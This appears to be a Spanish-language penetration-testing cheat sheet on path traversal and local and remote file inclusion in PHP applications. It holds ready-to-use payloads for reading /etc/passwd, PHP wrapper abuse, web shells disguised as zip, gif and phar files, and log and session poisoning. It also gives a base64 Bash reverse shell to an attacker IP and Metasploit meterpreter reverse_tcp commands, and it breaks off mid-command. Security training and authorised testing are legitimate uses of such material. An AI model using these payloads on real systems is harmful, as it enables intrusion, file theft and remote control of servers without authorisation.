Path traversal
Copiar http://<target>/index.php?page=../../../<directory>/<file>
http://<target>/index.php?page=../../../etc/passwd
http://<target>/index.php?page=../../../windows/win.ini
Null byte
Omite la adición de caracteres al final de la cadena proporcionada.
Copiar http://<target>/index.php?page=../../../etc/passwd%00
Local File Inclusion (LFI)
Payloads
Linux/Unix
Windows
SecLists
Fuerza bruta
Wfuzz
Copiar wfuzz -u http://<target>/index.php?page=../../../../../../FUZZ -w <path-wordlist-lfi> --hw 0 -c
-u = URL.
FUZZ = la palabra FUZZ
será reemplazada con los valores de la wordlist.
-w = wordlist.
<path-wordlist-lfi> = ruta de wordlist Local File Inclusion (LFI).
--hw 0 = ocultar respuestas con 0 (cero) palabras.
FFuF
Copiar ffuf -u http://<target>/index.php?page=FUZZ -w <path-wordlist>:FUZZ
-u = URL.
FUZZ = la palabra FUZZ
será reemplazada con los valores de la wordlist.
-w = wordlist.
<path-wordlist> = ruta de wordlist.
PHP wrappers
Wrapper php://filter
Copiar # base64
http://<target>/index.php?page=php://filter/read=convert.base64-encode/resource=../../../<directory>/<file>
# ROT13
http://<target>/index.php?page=php://filter/read=string.rot13/resource=../../../<directory>/<file>
Wrapper data://
Es posible utilizar este wrapper solo si la opción allow_url_include
está habilitada en la configuración de PHP.
Copiar http://<target>/index.php?page=data://text/plain,<?php phpinfo(); ?>
http://<target>/index.php?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
Local File Inclusion (LFI) a Remote Code Execution (RCE)
Wrapper expect://
Este wrapper está deshabilitado de forma predeterminada.
Copiar http://<target>/index.php?page=expect://id
Es posible utilizar este wrapper solo si la opción allow_url_include
está habilitada en la configuración de PHP.
Copiar curl -s -X POST --data "<?php system('id'); ?>" "http://<target>/index.php?page=php://input" | grep uid
Copiar POST /index.php?page=php://input
Host: <target>
<?php system('whoami'); ?>
Wrapper data://
Es posible utilizar este wrapper solo si la opción allow_url_include
está habilitada en la configuración de PHP.
Copiar http://<target>/index.php?page=data://text/plain,<?php system('whoami'); ?>
http://<target>/index.php?page=data://text/plain;base64,<base64>
Ejemplo de web shell (base64).
Copiar # Web shell (PHP)
echo '<?php system($_GET['cmd']); ?>' | base64
# Web shell (PHP) en base64
PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pgo=
# Payload final
http://<target>/index.php?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pgo=&cmd=id
Ejemplo de reverse shell (base64).
Copiar # Reverse shell (Bash)
bash -c 'bash -i >& /dev/tcp/<IP-Address>/<port> 0>&1'
# Reverse shell (Bash) en base64
YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC97SVAtQWRkcmVzc30ve3BvcnR9IDA+JjEn
# Payload final
http://<target>/index.php?page=data://text/plain;base64,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC97SVAtQWRkcmVzc30ve3BvcnR9IDA+JjEn
File upload
1) Wrapper zip://
Generación de archivo .zip
con web shell.
Copiar echo '<?php system($_GET['cmd']); ?>' > webshell.php
zip webshell.zip webshell.php
rm webshell.php
Subir archivo webshell.zip
al servidor web objetivo.
Es posible hacer referencia a los archivos dentro del archivo webshell.zip
con el simbolo #
.
Copiar # Sin URL encode
http://<target>/index.php?page=zip://webshell.zip#cmd.php&cmd=id
# Con URL endoce
http://<target>/index.php?page=zip://webshell.zip%23cmd.php&cmd=id
2) Archivo de imagen.
Generación de archivo webshell.gif
con web shell.
Copiar echo 'GIF8<?php system($_GET["cmd"]); ?>' > webshell.gif
Subir archivo webshell.gif
al servidor web objetivo y realizar su ejecución desde el Local File Inclusion (LFI) identificado.
Copiar http://<target>/index.php?page=webshell.gif&cmd=id
3) Wrapper phar://
Copiar <?php
$phar = new Phar('webshell.phar');
$phar->startBuffering();
$phar->addFromString('webshell.txt', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();
?>
Generación de archivo .phar
desde webshell.php
y cambio de extensión a .jpg
.
Copiar php --define phar.readonly=0 webshell.php
mv webshell.phar webshell.jpg
Subir archivo webshell.jpg
al servidor web objetivo y realizar su ejecución desde el Local File Inclusion (LFI) identificado.
Copiar http://<target>/index.php?page=phar://webshell.jpg/webshell.txt&cmd=id
Log poisoning
Archivos de logs:
/var/log/apache2/access.log
/var/log/nginx/access.log
Copiar GET /index.php?page=<log-file>
Host: <target>
User-Agent: <?php system($_GET['cmd']); ?>
Copiar http://<target>/index.php?page=<log-file>&cmd=id
Archivos de sesión de PHP
Rutas de almacenamiento de archivos de sesión de PHP:
Ejemplo para PHPSESSID
con valor ujllfv2j2sm7ae11is401hvdf9
.
Copiar http://<target>/index.php?page=<session-files-path>/sess_ujllfv2j2sm7ae11is401hvdf9
Modificación de alguno de los valores almacenados en la sesión por:
Copiar <?php system($_GET['cmd']); ?>
Ejecución de comandos.
Copiar http://<target>/index.php?page=<session-files-path>/sess_ujllfv2j2sm7ae11is401hvdf9&cmd=id
Remote File Inclusion (RFI)
Para incluir un archivo remoto en PHP, las opciones allow_url_fopen
(habilitada de forma predeterminada) y allow_url_include
deben estar activadas en la configuración.
Copiar http://<target>/index.php?page=http://<domain-name>
http://<target>/index.php?page=http://www.google.com
Remote File Inclusion (RFI) a Remote Code Execution (RCE)
Creación de webshell.
Copiar <?php system($_GET['cmd']); ?>
HTTP
Habilitación de servidor HTTP para compartir el archivo webshell.php
.
Copiar python -m SimpleHTTPServer <port>
python3 -m http.server <port>
Ejecución de comandos.
Copiar http://<target>/index.php?page=http://<attacker-IP-address>/webshell.php&cmd=id
FTP
Habilitación de servidor FTP para compartir el archivo webshell.php
.
Copiar python3 -m pyftpdlib -p 21
Ejecución de comandos.
Copiar http://<target>/index.php?page=ftp://<attacker-IP-address>/webshell.php&cmd=id
SMB
Cuando la aplicación se ejecuta en Windows, las restricciones aplicadas por allow_url_include
pueden omitirse mediante el uso del protocolo SMB. Esto se debe a que Windows trata los archivos de los servidores SMB remotos como archivos normales, a los que se puede hacer referencia directamente con una ruta UNC (Universal Naming Convention).
Habilitación de servidor SMB para compartir el archivo webshell.php
.
Copiar impacket-smbserver -smb2support share $(pwd)
Ejecución de comandos.
Copiar http://<target>/index.php?page=\\<attacker-IP-address>\webshell.php&cmd=id
Copiar msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker-IP-address> LPORT=5555 -f exe > shell.exe
Copiar use unix/webapp/php_include
set RHOST <target>
set PHPURI /index.php?page=XXpathXX
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST <attacker-IP-address>
set LPORT 4444
exploit
# Desde sesión de meterpreter
upload shell.exe
Copiar use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <attacker-IP-address>
set LPORT 5555
exploit -j
Copiar use unix/webapp/php_include
set PAYLOAD php/exec
set CMD shell.exe
exploi